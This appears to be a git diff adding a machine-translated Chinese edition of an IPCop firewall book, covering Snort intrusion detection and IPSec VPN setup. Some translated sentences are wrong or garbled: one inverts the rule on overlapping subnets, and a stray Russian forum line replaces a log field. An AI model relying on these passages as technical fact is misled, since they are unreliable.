相当不错,并且链接到稍微老一点的相关 tcpdump。 最终,Snort 得到了扩展,更像是一个 NIDS 而不是嗅探器(Snort 的许多用户没有意识到它的嗅探功能,只是将其作为 IDS 使用)。 - -随着 Snort 变得非常流行,Martin Roesch 决定创办一家基于 Snort 的公司,提供基于他作为 Snort 开发人员的专业知识的安全服务。 这导致了 SourceFire([http://www.sourcefire.com](http://www.sourcefire.com))的创建。 Sourcefire 现在提供基于 Snort 的商业支持和其他服务。 尽管它也雇佣了 Snort 的全职开发人员,但它仍然是一个开源产品,因此可以随 IPCop 一起提供。 IPCop 开发人员在此基础上添加了一个预配置的 Snort 系统,该系统在 IPCop 界面中具有非常易于使用和简单的管理选项。 - -# 我们需要 IDS 吗? - -IDS 的需求完全取决于网络和我们想要做的事情。 一般来说,我会说我们需要它,除非我们能想出一个很好的理由不拥有它。 - -IDS 的另一个好处是,我们可以看到通过我们的网络的是什么,并尝试隔离任何似乎是恶意的通信量。 这一点很重要,因为这是许多防火墙所缺乏的功能(除了那些具有第七层支持的防火墙,这些支持被称为应用层防火墙)。 由于防火墙工作在网络通信的较低层,因此它们的过滤规则通常仅限于 IP 地址、端口、一天中的时间以及少数其他标准。 如果我们有一个防火墙,它不检查数据包的有效负载,只根据数据包报头做出决定,那么说这些设备可能允许一些恶意流量通过也不是不可能的。 我们的 IDS 的作用是对这些数据包进行深入检查,查看其中包含的数据,并做出决定,例如:“这看起来像红色代码蠕虫吗?”、“这是不是试图在我们的 Sendmail 服务器中发生缓冲区溢出?”或者“我们的某个用户是否刚刚被最新的 0 天 WMF 漏洞利用?” 对于管理员来说,收到 IDS 中抛出这些警告信号的任何数据包的通知是非常有价值的,因为我们可以使用此信息进一步查看我们的网络状态,以确定是否存在需要解决的重大问题,尽管这些警告通常是错误的警报。? 我们可以把 IDS 想象成一个预警系统,告诉我们可能正在发生需要我们关注的事情。 为了保护我们的网络,这是非常有价值的信息! - -### 备注 - -**第七层过滤(应用层)** - -IPCop 提供了在该层提供过滤的选项,但默认情况下不提供这些选项,需要安装第三方加载项。 - -# IDS 是如何工作的? - -一般来说,尤其是 Snort,在能够监控尽可能多的网络的设备上运行,通常在网关设备上或附近(如 IPCop),或者在交换机上的某种监控端口(SPAN/Mirror 端口)上运行。 然后,NIDS 将设备上的一个或多个网卡设置为在**混杂模式**下工作,这意味着它们将通过网络堆栈向上传递数据包,而不管它们是否发往机器。 这一点很重要,因为 NIDS 通常会监视机器本身以外的其他机器。 然后,主机上的 NIDS 将获取这些数据包,并查看数据有效负载(有时也包括报头),以查看是否发现任何恶意行为。 这听起来可能像人工智能,因为 NIDS 只是坐在那里思考经过的数据包;实际上要简单得多! - -每天利用漏洞进行攻击时,病毒、蠕虫、间谍软件和其他恶意软件都会生成网络流量,这些流量通常具有特定于正在使用的软件的模式、漏洞利用中的特定字符串、其联系的特定主机以及 TCP/IP 报头中的特定选项。 有很多人在关注他们的社交网络,当他们注意到一些看起来奇怪的事情时,他们会记录下来,通常会向他们的同龄人寻求建议,看看是否有人注意到了类似的事情。 不久之后,如果检测到恶意活动,就会有人为他们喜欢的 IDS 写签名,在很多情况下还会一次为几个 IDS 写签名。 根据这些签名,IDS 检测引擎将决定是否将数据包标记为可能是恶意的。 这些方法很少是 100%准确的,因为它们可以并将提供假阳性或假阴性。 此检测旨在作为额外的防御层,不能确定网络是否受到危害。 可以做的是提醒管理员有问题。 IPCop 盒上的 Snort 处于一个很好的位置,可以对试图通过防火墙到达受保护接口(甚至在受保护接口之间)的任何恶意行为发出警报。 - -# 结合使用 Snort 和 IPCop - -使用 IPCop 设置 Snort 是一个非常简单的过程。 如果用户想要下载更新的签名,Sourcefire 要求用户注册。 我们确实希望有更新的规则,所以我们应该确保我们注册了 SourceFire。 这可以按照下面屏幕上的说明注册到 Snort 网站并生成 Oink 代码来完成。 - -![Using Snort with IPCop](img/1361_06_01.jpg) - -注册后,我们填写上一个屏幕上的表格。 我们通过选中相应的复选框来选择要监控的每个接口。 作者倾向于在此时监视所有接口,并在以后监视日志时进行过滤。 我们还应该为注册用户选择**SourceFire VRT 规则**,除非我们有允许我们访问订阅规则的付费订阅。 然后,我们输入从 Snort 网站获得的**Oink Code**。 我们现在可以下载最新的规则。 就这样!。 现在,我们只需填写一张非常简单的表格,就可以为我们的网络配置一个 NIDS。 现在我们肯定安全了! - -# 监控日志 - -入侵检测系统本身没有任何好处;它需要一双眼睛来检查日志并采取行动,或者某种自动通知系统。 IPCop 的 Web 界面提供了对网络中正在发生的事情的初步了解。 - -这可以在**Logs IDS Logs**菜单选项下找到,如下图所示: - -![Monitoring the Logs](img/1361_06_02.jpg) - -日志屏幕默认为今天的日期,并为我们提供了一些有趣的信息。 今天 12 月 20 日381 个规则被激活,这意味着 Snort 注意到 381 个可能的网络攻击。 这个数字高得不正常,因为数据是作者人工生成的,但通常情况下,根据您的网络大小,您可能每天都会看到一些规则被激活。 例如,家庭用户应该会看到大量端口扫描和自动蠕虫攻击。 如果我们仔细查看其中一条规则,我们可以看到 Snort 在日志中向我们显示了什么。 - -**日期:12/20 12:51:41 名称:SNMP 请求 UDP** - -**优先级:2 类型:信息泄露未遂** - -发帖主题:Re:Колибрипрограммированияпрограмма。 - -**参考:未找到 SID:1417** - -我们可以看到,IP 地址为**10.0.0.102**的计算机上有人试图从攻击者的端口**32833**向**10.0.0.200**上的端口**161**发送基于**udp**的**SNMP**请求,以获取有关我们网络的信息。 我们还有一个**SID**值**1417**。 这是很好的基本信息,可以让我们知道发生了什么。 我们可以看到谁、什么、地点和时间对入侵检测非常重要。 我们在这里没有明显解释的唯一值是 SID。 - -SID 是 Snort 签名 ID,数字本身是指向 SID 在线数据库的链接,该数据库包含有关此事件的更多信息。 - -![Monitoring the Logs](img/1361_06_03.jpg) - -这给了我们很多信息,让我们缩小了在这个案例中到底发生了什么。 在误报部分,我们可以看到,当安全扫描软件扫描系统时会发生此事件,在本例中是完全正确的,因为作者使用开源漏洞扫描程序 OpenVAS([http://www.openvas.org](http://www.openvas.org))扫描了 IPCop 盒。 - -### 备注 - -**OpenVAS** - -OpenVAS 是 Nessus 安全扫描程序的一个分支,现在正在作为一个单独的项目进行开发,目的是为最新的非 GPL 版本的 Nessus 提供一个替代方案。 - -## 优先级 - -另一个非常重要的字段是优先级,在本例中是**2**。 默认情况下,Snort 有以下三个级别: - -* 级别 1: - - * 检测到可执行代码 - - * 获得管理特权的尝试或成功 - - * 特洛伊木马签名 - -* 第 2 级: - - * 尝试/成功拒绝服务 - - * 信息泄露未遂/成功 - - * 异常的客户端端口连接 - -* 第 3 级: - - * 端口扫描 - - * 可疑字符串检测 - -每当检测到攻击时,它所匹配的规则都会引用一个优先级,以便为事件指定其优先级号。 这些数字是规则的一部分,如有必要,可以通过手动更改 Snort 规则进行修改。 这里不讨论手动更改 Snort 的配置;但是,有很多关于 Snort 主题的书籍和在线文档。 - -# 日志分析选项 - -Snort 是一个使用得很好的项目,它提供了各种分析产品。 我们将快速了解一些最常用的产品及其提供的功能。 IPCop 日志记录系统不能完全满足大多数分析,而且肯定不能用来提供报告,而只要有入侵企图,通常都需要提供报告。 为了分析和报告这些日志,已经创建了许多项目。 要使用这些工具,您可能需要配置 IPCop 以记录到远程 syslog 服务器,或者在某些情况下,您可以安装并添加到 IPCop。 - -## Perl 脚本 - -用于 Snort 日志分析的最容易安装和使用的产品之一是出色的 SnortALog。 它提供了一些出色的功能,其中最有用的是它的报告生成能力--您可以使用 ASCII、PDF 或 HTML 格式的报告,其中的图像表示为 GIF、PNG 或 JPEG。 这有助于提供出色的报告,因为您可以获得各种图表和统计数据,然后可以在演示文稿或其他网络安全状态报告中使用这些图表和统计数据。 SnortALog 可以使用 Snort 提供的所有输出选项,并且有一个易于使用的 GUI 来生成报告。 还有一种选择是 SnortSnarf,它提供了与 SnortALog 类似的特性;但是 SnortALog 非常容易使用,显然 SnortSnarf 已经不再被开发了。 SnortALog 还提供了更多的报告选项,外观也更加美观。 - -## 酸碱 - -还有一些功能更全、更复杂的系统可用于监视和分析 Snort 日志。 **例如,ACID**是基于 PHP 的,需要使用 Web 服务器,并提供对 Snort 日志的实时监控和统计。 此外,使用上面的 Perl 脚本生成的统计数据,您可以使用非常强大的选项进行进一步分析。 例如,您可以进行相当广泛的查询,以便仅提供当前分析中最感兴趣的事件,您可以查看生成该事件的数据包内容,并仔细分析数据包数据以全面确定攻击的程度和是否为误报。 **BASE**是 ACID 的替代产品(派生自 ACID),提供相似的功能,值得对两者进行比较,以找到我们监控入侵检测系统的首选产品。 - -# 下一步做什么? - -一旦您确定事件已经发生,重要的是迅速对该事件采取行动。 尽管 Snort 本身只提供了一些关于进一步查看特定事件的想法,但决定如何处理事件是管理员的责任。 - -在较小的网络中,正式的事件响应计划并不总是必要的,但如果我们知道如果受到特定攻击该怎么办,它确实有助于维护系统安全。 端口扫描、拒绝服务和攻击尝试就是很好的例子。 然后我们可以决定这样的事情: - -* 我们要报告这些吗? - -* 如果发生这种情况,我们还想分析其他保护系统吗? - -* 我们需要通知别人吗? - -在设置 IDS 时回答几个类似的基本问题会给 IDS 带来更大的价值,因为它将成为有效的网络保护计划的一部分。 - -# 摘要 - -在本章中,我们已经介绍了什么是 IDS、它是如何工作的、如何将 Snort 与 IPCop 一起使用以及与 Snort 一起使用的其他工具的基础知识。 - -在这一点上,我们已经了解了网络保护和网络监控,并且至少对发生攻击企图时我们应该做什么有了一个基本的概念。 这使我们的网络处于良好状态,并确保我们完全了解正在发生的情况。 正如在本章的引言中提到的,IDS 应该让我们对网络的安全状态有一个基本的概述-我们是否受到攻击,攻击来自哪里,攻击的目标是什么。 - -有了这些信息,我们可以有效地提高我们网络的安全性。 使用像这样的自动化工具意味着我们更容易每天监控这些活动,并确保我们始终意识到我们的周围环境。 了解我们的网络是如何运行的,以及每天都有哪些数据通过它,这是发现网络入侵的重要手段。 如果我们没有基线来进行比较,我们就无法意识到出了什么问题;不断地监视我们的 IDS 会给我们提供这个基线。 \ No newline at end of file diff --git a/docs/conf-ipcop-fw/07.md b/docs/conf-ipcop-fw/07.md deleted file mode 100644 index 8e042d65..00000000 --- a/docs/conf-ipcop-fw/07.md +++ /dev/null @@ -1,417 +0,0 @@ -# 七、虚拟专用网络 - -正如前面章节中所讨论的,支撑网络工作方式的许多技术在设计时所考虑的因素与当今 IT 专业人员和计算机用户所面临的完全不同。 其中最突出的是对安全的担忧。 - -远程访问是 IT 专业人员关注的另一个主要问题,它允许员工、承包商、客户和供应商通过广域网或 Internet 访问资源和服务。 由于这种做法不仅需要将公司的内部网络连接到 Internet,而且还需要允许来自 Internet 的流量访问内部网络,因此带来了固有的安全风险。 其中一些漏洞源于远程访问系统赋予攻击者探测和攻击网络的能力,而另一些漏洞则源于这样一个事实:传统上,信息在 Internet 上以明文形式传递,没有任何形式的篡改保护。 - -最后一个问题的含义是,如果我们使用传统协议(如 HTTP 或 NFS)访问我们的信息或通过 Internet 将信息的访问权限授予他人,则任何具有适当访问权限的人(即对我们的网络基础设施(交换机、路由器、集线器、防火墙,位于我们和目的地之间的任何地方)具有物理或逻辑访问权限的任何人)都可以拦截、读取、复制或更改我们传输中的信息。 - -不是简单地向 Internet 开放 HTTP 服务器、邮件服务器、文件服务器和终端服务或 VNC 服务器等服务,而是在**VPN**或**虚拟专用网**后面保护这些服务已成为一种日益普遍的做法。 - -# 什么是 VPN? - -顾名思义,VPN 是一个*网络*,它是*虚拟的*。 也就是说,与企业或小型办公室的本地网络(在某些情况下由数千码的布线和许多网络设备组成)不同,*虚拟*网络根本不包含任何实质内容--事实上,它存在于现有网络之上。 它也是私有的,这意味着在这种情况下,它既是*加密的*(因此第三方看不到我们正在发送和接收的内容),又是经过*验证的*(为了使用它,我们需要标识自己,通常需要使用密码)。 - -考虑这样一个场景:一家小公司的销售员工数量很少,他们经常从全国不同地区(甚至世界各地)工作。 销售人员需要定期与办公室外和办公室内的其他销售人员同步其销售信息,并且需要发送和接收电子邮件以及访问其他类型的公司信息。 到目前为止,这些服务只有在我们的防火墙之后才能访问。 - -销售员工使用虚拟专用网络将笔记本电脑连接到他或她所住酒店的无线网络,并使用其计算机中的无线适配器提供互联网访问。 一旦通过 Wi-Fi 连接到互联网,他或她就会连接到公司 VPN,然后 VPN 客户端软件就会建立到公司 VPN 服务器的安全连接。 笔记本电脑上会出现一个新的虚拟网络接口,其 IP 地址分配给销售人员的笔记本电脑,与公司网络的内部网段相对应。 - -发往内部网络的流量现在可以通过此网络接口。 通过此接口的流量由 VPN 客户端软件封装,并通过加密的 VPN 链路发送-在此链路的另一端由 VPN 服务器解封并路由到内部网络。 销售主管坐在总部公司网络内的办公桌前,可以看到销售员工在网络上的笔记本电脑,就好像它是物理连接到网络上的一样,尽管访问速度稍慢! - -从技术上讲,这是对 VPN 软件实际工作方式的过度简单化,但它很好地概括了这一过程是如何在高水平上发生的。 网络感知应用(如电子邮件客户端、FTP 客户端或 Samba 客户端)只需建立与以前相同的连接,即可访问内部网络上的资源,而无需感知网络链路-VPN 软件和驱动程序负责封装和解封。 VPN 越来越多地被公司用于与上述场景非常相似的场景,使用各种技术,包括**IP 安全**(**IPSec**)、**第二层隧道协议**(**L2TP**)、**点对点隧道协议**(**PPTP**)、SSH、SSL 和几个专有协议,例如由专有 VPN 服务 Hamachi 使用的协议。 - -除了允许访问另一个网络之外,最近建立的一些 VPN 系统,例如 Hamachi 提供的 VPN 系统或作为 Google Wi-Fi 服务的一部分提供的 VPN 服务,只是在使用不可信的网络连接(特别是公共场所的无线网络连接,通常是未加密和不安全的)时提供一些隐私保证。 - -### 备注 - -**基于互联网的专有 VPN 服务** - -Hamachi 的虚拟专用网络服务([http://www.hamachi.cc/](http://www.hamachi.cc/))是越来越多的基于互联网的虚拟专用网络服务的一个例子,这些虚拟专用网络服务只寻求向 Wi-Fi 网络等不受信任的网络连接上的用户提供隐私(即,用户无法访问互联网上没有的任何*额外的*资源,而不像我们的销售员工和他或她的公司虚拟专用网络)。 - -在这种情况下,通信量被隧道传输到 VPN 连接所有者拥有的服务器,*额外的*隐私是通过假设这些所有者(例如 Hamachi)比您所连接的不可信网络的其他用户更不可能尝试拦截您的信息(可能有支持这一点的策略)来提供的。 - -## IPSec - -虽然许多 VPN 协议都是共同部署的(PPTP 和 L2TP 都是广泛部署的,因为它们是 Windows 产品系列的一部分),但 IPSec 是最独立、最标准化的解决方案,并且以这样或那样的形式集成到大多数 VPN 解决方案中。 - -大多数支持 IPSec 的设备将与其他此类设备形成隧道,尽管这不能保证-尤其是具有此类功能的低端设备(例如 SOHO 路由器)通常极难配置和故障排除,并且制造商对 IPSec 功能的支持通常很差。 虽然 IPSec 应该是可互操作的,但在两端使用同一设备通常可以省去很多痛苦! 在互操作性这一主题上还值得注意的是,IPSec 仅支持**主模式**IPSec,而不支持**主动模式**IPSec。 - -### 备注 - -**PPTP 和 L2TP** - -PPTP 最初由思科设计,后来由 Microsoft 授权作为 Windows 拨号网络的 VPN 协议(事实上,Windows 本机支持的第一个 VPN 协议)。 流量使用**Microsoft 挑战握手身份验证协议 v2**(**MS-CHAPv2**)或**可扩展身份验证协议-传输层安全**(**EAP-TLS**)(带证书)进行身份验证,并使用**MPPE**(**RSA RC4**)进行加密。 虽然 PPTP 得到了证书的加强,并且比 IPSec 简单得多,但没有证书,它仍然比 IPSec 弱,并且受到的影响较小。 - -L2TP 是思科**第 2 层转发**(**L2F**)和 PPTP 的演进。 它不实现身份验证或加密,因此通常与 IPSec 结合使用以形成 VPN。 由于使用了 IPSec,L2TP/IPSec VPN 比使用 PPTP 的 VPN 更安全,并且存在使用更高级别加密的潜力。 - -IPSec 本身比简单地用于 VPN 具有更广泛的范围,并且是**网际协议版本 6**(**IPv6**)规范的强制部分。 它最初构思时考虑了两种部署方案: - -* **隧道模式:与前面的方案一样,隧道模式下的 IPSec 用于将来自多台主机(或整个网络或多个网络)的流量通过隧道传输到另一台主机或一组网络,其中端点用于在流量穿过中间网络(通常是 Internet)前后对其进行封装和解封。** - -* **传输模式:**传输模式下的 IPSec 通常用于保护 IP 通信。 这种部署虽然可以通过 Internet 进行,但通常用于保护 LAN 网段,或者是在特定主机之间的通信必须加密(例如 Web 和数据库服务器)的任务关键型场景中,或者是为了保护整个网络。 这样的系统可以用作分布式防火墙策略的一部分-通过将网络上的所有主机配置为仅使用 IPSec 相互通信,连接到网络的任何未经授权的主机都不能直接连接到其他主机,从而有效地将该主机隔离在网络的某一层。 - - 微软采用这样的设置作为其服务器和域隔离的一部分(有关使用 http://www.microsoft.com/technet/itsolutions/network/sdiso/default.mspx 逻辑隔离的详细信息,请参阅[IPSec](http://www.microsoft.com/technet/itsolutions/network/sdiso/default.mspx),在这种情况下是在 Windows 平台上)安全最佳实践,并构成**网络访问保护**(**NAP**)和**网络访问隔离控制**(**NAQC**)框架的一部分。 - -正如我们所看到的,IPSec 是一个复杂的主题,可以用来做很多事情。 但是,在本章的范围内,我们只需要知道 IPSec 可用于保护 IP 流量,在此方案中,IPCop 将 IPSec 用作 VPN 系统的一部分,使远程客户端看起来就像是通过 Internet 和一个或多个网络(如客户端的内部网络或酒店无线网络)虚拟插入内部网络。 我们还可以使用 IPSec 链接两个 IPCop 防火墙(或者一个 IPCop 防火墙和另一个支持 IPSec 的路由器或防火墙),以形成一个*虚拟*站点到站点网络。 以下链接为了解更多有关 IPSec 的信息提供了很好的起点: - -* [http://www.packtpub.com/openswan/book:](http://www.packtpub.com/openswan/book)Openswan 一书,由 Openswan 本身的开发人员撰写 - -* [http://www.openswan.org/docs/:](http://www.openswan.org/docs/)Openswan 文档 - -* [IPSec](http://en.wikipedia.org/wiki/IPSec)维基百科上的 http://en.wikipedia.org/wiki/IPSec:文章 - -## 关于部署 IPSec 的更多信息 - -对 IPSec 的基本了解对于希望充分设置、管理、维护或支持使用 IPSec 作为站点到站点部署一部分的网络的任何人都很重要。 - -即使是比 IPCop 少*操作*的解决方案(例如具有易于部署的站点到站点 VPN 解决方案的商用防火墙),也经常需要高级调试,而这又需要深入了解它们使用的协议。 带有 VPN 支持的商用防火墙包(如 Microsoft 的 ISA Server、检查点、边界软件或任何防火墙设备)从小型 VPN 路由器一直穿过企业级防火墙通常很难排除故障。 - -尤其是设备,由于它们在定制的免费 IPSec 软件的许多实例中使用,因此很难排除故障,因为它们与其他 IPSec 包相似,但由 OEM 供应商进行了修改。 在撰写本文时,维基百科列出了 9 家不同的 IPSec 软件供应商。 - -基于所有这些原因(以及老式的好奇心),你很有希望知道为什么你可能会(也可能不会!)。 想了解 IPSec。 - -我们可以通过两种方式在 IPCop 中设置 IPSec:其中一种称为具有**预共享密钥**的 IPSec;预共享密钥类似于连接的两个端点都知道的密码。 虽然设置起来很简单,但它的安全性不如两种方式中的第二种,后者依赖于证书颁发机构(CA)颁发的证书。 - -### 备注 - -**预共享密钥与证书** - -PSK 不如证书安全,因为它本质上是一种较弱的安全机制。 通常选择预共享密钥(类似于密码)是因为它对人类来说是可记忆的,因此通过暴力破解要比证书容易得多,证书构成了高度随机的字符集,并且需要公钥和私钥部分的知识才能导致安全漏洞。 - -证书可以由 Verisign、Thawte 或 CAcert.org 等 CA 颁发,您也可以设置自己的 CA(完全出于生成这些证书的目的,或者作为更大的 PKI 系统的一部分)来执行此操作。 你不必为此付钱,也不必是一次(非常)痛苦的经历。 - -### 备注 - -**配置您自己的 CA** - -如果您使用 Active Directory 运行 Windows Server,您可能已经具备了使用您自己的 CA 构建灵活、安全的 PKI 系统所需的基础架构和软件。 关于这一点,微软 TechNet 上有很好的指导: - -[http://www.microsoft.com/windowsserver2003/technologies/pki/default.mspx](http://www.microsoft.com/windowsserver2003/technologies/pki/default.mspx) - -如果您正在使用另一个操作系统,或者希望将您的 PKI 环境与 Windows 基础架构分开,onlamp.com 在以下 URL 上提供了一本很好的入门读物: - -[http://www.onlamp.com/pub/a/onlamp/2003/02/06/linuxhacks.html](http://www.onlamp.com/pub/a/onlamp/2003/02/06/linuxhacks.html) - -运行您自己的 CA,特别是如果您开始依赖它来执行 IPSec 和文件加密等任务,在任何业务中都是一个极其重要的角色,如果失败,可能会给工作效率带来很大的麻烦,并且(如果受到损害)可能会造成很大的损害。 如果您决定采取这一步骤,建议您仔细阅读证书颁发机构的最佳实践,并听取该领域专家提供的一些建议。 - -Microsoft 指南虽然特定于 Windows,但在 CA 最佳实践方面有很好的指导方针,并且与 CA 位置和管理以及智能卡和 HSM 的使用有关的许多建议都适用于您选择在其上运行 CA 的平台和操作系统。 至少,如果您没有 Windows 基础设施,那么在您自己设置这样的基础设施之前,看看*另一端*是如何做的(以及它的实现是否有任何优点)是值得的。 - -## VPN 成功的前提条件 - -对于站点到站点 VPN,由于术语的原因,IPSec 设置过程也可能有些混乱。 因此,在尝试设置 VPN 之前写下设置 VPN 所需的所有信息尤为重要。 作者甚至建议使用易于理解的表单,如下一页中显示的表单。 - -VPN 设置的大部分问题(其中许多令人沮丧且耗时很长)是由错误配置和不匹配的设置引起的。 多花几分钟来制定您的部署计划,并在一张纸上清楚地标出您的设置,这将为您节省宝贵的时间和理智。 - -我们的先决条件是: - -##### 可靠的网络 - -由于 VPN 连接是通过中间网络(如 Internet)建立的,因此它们的成功和稳定性取决于中间网络的可靠性。 VPN 会给网络带来更多开销,因此任何延迟或低带宽都会在 VPN 上(略微)放大。 - -##### 两个连接到运行 IPSec 软件的互联网的终端 - -我们需要在两个端点上运行 IPSec 软件才能使站点到站点 VPN 工作! - -##### 端点或动态 DNS 主机名的静态红色 IP 地址 - -没有这些,我们就无法始终如一地建立联系。 虽然很少见,但一些 ISP 会将 RFC1918 范围内的地址分配给客户端-也就是说,192.168.0.0/16、10.0.0.0/8 和 172.16.0.0/12。虽然您不太可能没有,但请先检查您是否有真实的 IP 地址! - -##### 不重叠的内部地址空间 - -如果地址范围不重叠,我们就无法将流量从一个站点路由到另一个站点。 - -您可能已经从前面关于网络的章节中了解到,路由和路由在将数据从一个网络子网传输到另一个网络子网的过程中非常重要。 当一台计算机尝试连接到另一台计算机时(例如,连接到 192.0.2.33 上的 SSH 服务器),操作系统首先检查以确定此 IP 地址是否在本地。 如果我们的计算机的 IP 地址为 192.0.22.99,子网掩码为 255.255.255.0,计算机将使用该 IP 地址和二进制网络掩码进行计算,以找出 IP 地址的哪个部分是*网络*部分,哪个是*主机*部分。 在本例中,IP 地址的前三个二进制八位数(192、0 和 22)是网络部分,而第四个(也是最后一个)二进制八位数是主机部分。 - -由于 192.0.2.33 地址(192.0.2)的网络部分与建立连接的计算机(192.0.22)的 IP 地址的网络部分不匹配,因此计算机无法通过交换机或集线器直接连接到目的地,因此必须将数据传递到路由器,才能将数据直接路由到目的地或通过一个或多个路由器路由到目的地。 - -路由表包含一个条目列表,这些条目的网络对应于通过其到达这些子网的 IP 地址。 由于客户端计算机必须连接到*路由器才能将*任何*数据发送到非本地计算机,因此路由表*中列出的每个路由器 IP 地址必须*与分配给客户端计算机中网卡的 IP 地址位于同一子网中。 一般来说,客户端计算机往往只有一张网卡,其中只有一条(重要)路由,即默认路由器的路由。 如果路由表中没有其他更高的条目,则客户端计算机将向该路由器传递流量,并且通常是流量最多的地方。* - - *在大多数 Linux 发行版中,您可以使用 `ip route list`命令显示路由表的输出,在 Linux 和大多数 Unix 发行版中,您可以使用不带参数的 `route`命令来显示路由表的输出。 在 Windows 中,使用 `route print`命令将显示路由表。 - -在 VPN 配置中,我们的主机必须知道哪个子网位于 VPN 连接的另一端,哪个子网位于本地。 因此,使用重叠的 IP 范围会破坏 VPN-如果我们的网络使用 192.168.0.1/24(或子网掩码为 255.255.255.0 的 192.168.0.1)地址范围,并且 VPN 配置了也使用 192.168.0.1/24 地址范围的网络,则我们的计算机或 VPN 路由器将无法将数据包从一个范围路由到另一个范围,因为它不知道主机 192.168.0.22 在*中是哪个*192.168.0.1/24 地址范围。 - -应规划地址空间,如果您预计您的网络需要访问 VPN 或站点到站点 VPN,则应选择非默认私有 IP 地址范围(如 10.0.0.0/8、(10.0.0.1 至 10.255.255.255)范围内的某个地方)或非标准 192.168.0.0/16 子网(如 192.168.130.0/24),以使您的工作更轻松。 - -##### 时间和耐心 - -IPCop 使用的*Left*和*Right*术语可能有点混淆--在这方面能给出的最好建议是选择一个站点作为*Left*,另一个作为*Right*。 背页的表格显示了这一点--一个位置清楚地标有**L**,另一个位置标有**R**。 换句话说,*配置 VPN 两端的方式相同!* - -### 备注 - -**IP 地址** - -这些示例使用 172.16.0.0/12 地址范围内的*外部*地址-如果您配置在 Internet 上运行的 VPN,则您的实际 Red*外部*地址将是您的 ISP 分配的*公共*地址。 - -出于本章的目的,我们将考虑物理上不同位置(剑桥和牛津)的两个 IPCop 防火墙之间的以下网到网配置。 在本例中,这两台主机被视为在红绿配置中设置 IPCop 防火墙,具有固定 IP 地址的互联网连接。 - - -| - -左侧站点 - - |   | - -站点名称:_ - - | - -剑桥高地 - - | -| --- | --- | --- | --- | -| 红色(外部)IP | _ 172.16.12.19 | 网关(内部)IP | _ 192.168.0.10__ | -|   |   | 内部网络 | _ _ 192.168.0.0/24_ | -| 预共享密钥:_ | “不要和陌生人说话!” | _ _ | __________ | - - -| - -右侧站点 - - |   | - -站点名称:_ - - | - -牛津 _ - - | -| --- | --- | --- | --- | -| 红色(外部)IP | _ 172.16.22.19 | 网关(内部)IP | _ _ 192.168.1.1____ | -|   |   | 内部网络 | _ _ 192.168.1.0/24_ | -| 预共享密钥:_ | GB agh@;323lkj$%=sdf9SD-+‘ | _ _ | ____________ | - -下一页包含这些表单的空白版本,因此,如果您愿意,您可以将这些表单用于您自己的环境。 - - -| - -左侧站点 - - |   | - -站点名称:_ - - |   | -| --- | --- | --- | --- | -| 红色(外部)IP | __________________ | 网关(内部)IP_ |   | -|   |   | 内部网络 _ |   | -| 预共享密钥:_ |   |   |   | - -备注: - - -| - -右侧站点 - - |   | - -站点名称:_ - - |   | -| --- | --- | --- | --- | -| 红色(外部)IP | __________________ | 网关(内部)IP_ |   | -|   |   | 内部网络 _ |   | -| 预共享密钥:_ |   |   |   | - -注: - -首先,在剑桥防火墙上,我们使用 Red IP 配置全局设置: - -![Time and Patience](img/1361_07_01.jpg) - -接下来,我们添加一个新的 VPN 并选择**网对网虚拟专用网:** - -![Time and Patience](img/1361_07_02.jpg) - -接下来,我们在对话框中输入 VPN 配置设置: - -![Time and Patience](img/1361_07_03.jpg) - -### 备注 - -**附加 IPSec 设置** - -**Perfect Forward Secrecy**(**PFS**)和**Dead Peer Detection**(**DPD**)是您可能要考虑启用的两个附加设置。 两者都需要 VPN 隧道两端的支持,但分别提高了安全性和有效的服务提供。 - -PFS 可确保在用于通过 VPN 加密数据的密钥被破解的情况下,使用其他密钥加密的数据也不会面临风险-密码学中的完全正向保密特性在密码被破解的情况下将数据安全隔离开来,导致攻击者必须破解*会话生命周期中使用的每个*密钥来拦截或解密所有会话数据,而不是能够破解一个密钥并访问所有会话数据。 - -DPD 使用**Internet Key Exchange**(**IKE**)查询 IPSec 伙伴,以确保其仍处于活动状态。 这可以确保您的 IPSec 端点准确地知道会话的状态,因为它将更快地检测到故障并关闭连接(因此,如果可能的话,还会重新建立会话)。 - -接下来,我们添加 VPN 并验证它是否出现在主**VPN**对话框中: - -![Time and Patience](img/1361_07_04.jpg) - -一旦我们在 Oxford IPCop 主机(作为“右侧”)上配置了相同的 VPN(带有适当的配置信息),我们的 VPN 就应该可以工作了。 - -## 验证连通性 - -在 IPCop 的最近几次迭代中,VPN 页面上有一个明确的指示器指示 VPN 的状态。 然而,我们之后的第一个调用端口是网络状态屏幕,在这里我们应该看到类型为*ipsecX*的**up**VPN 接口,其中 X 是一个数字(对于我们配置的每个 VPN,从 0 开始递增)。 - -我们还应该使用 `route`命令或带 `r`标志(`netstat -nr`)的 `netstat`命令检查路由表,查看是否存在通往 VPN 隧道另一端子网的路由。 如果一切正常,我们可以尝试 ping 通远程端私有子网内的主机。 - -通常,VPN 问题归结为配置问题,其中许多问题可以通过仔细注意合理 VPN 的前提条件来避免-例如参数不匹配、子网重叠或存在网络配置问题。 在重新尝试之前,重置现有的 VPN 配置总是值得的,如果有疑问,第二双眼睛通常会帮助发现您遗漏的错误。 - -如果您绝对确定您的配置匹配,并且您的网络配置正确,则可能存在互操作性问题。 支持 IPSec 的不同设备经常不能像预期的那样协同工作,有时甚至根本不能工作。 SOHO 和带有修改版本的 Openswan IPSec 堆栈的嵌入式设备在与*普通*Openswan 安装和其他 IPSec 堆栈交谈时,经常表现出非常奇怪的行为。 事实上,支持 IPSec 的廉价路由器经常只与具有相同型号和相同固件版本的其他路由器交谈,甚至不与来自同一供应商的其他路由器交谈。 这是一个相当棘手的领域,通常不会有很多乐趣。 如果有疑问,您可以控制的 IPSec 堆栈(如 IPCop)或支持良好的堆栈(如您可能在受支持的思科路由器上找到的堆栈)通常值得付出额外的费用或努力。 - -虽然 IPCop 防火墙不包括在我们的设置中(对 Red 接口使用静态地址),但允许对 VPN 使用*动态*DNS 名称(如管理章节中所述)。 如 VPN 配置页所示,这些更新在 IPCop 机器启动后可能需要很短的时间;因此,如果您的系统使用动态 DNS 和 IPSec,您可能需要在启动 60 秒(或更长)的 VPN 之前配置*延迟*,以防止 VPN 失败。 如果故障持续发生在主机启动的最初几分钟内,这一点也值得注意! - -## 使用预共享密钥的主机到网络连接 - -我们的主机到网络(或经常出差)连接的过程与网络到网络配置的过程非常相似。 我们首先在**Add**对话框中选择适当的 VPN 类型: - -![Host-to-Net Connections Using Pre-Shared Keys](img/1361_07_05.jpg) - -然后,我们使用适当的参数配置 VPN: - -![Host-to-Net Connections Using Pre-Shared Keys](img/1361_07_06.jpg) - -值得注意的是,您只能使用 PSK 进行一个主机到网络的连接。 - -## 使用证书的主机到网络连接 - 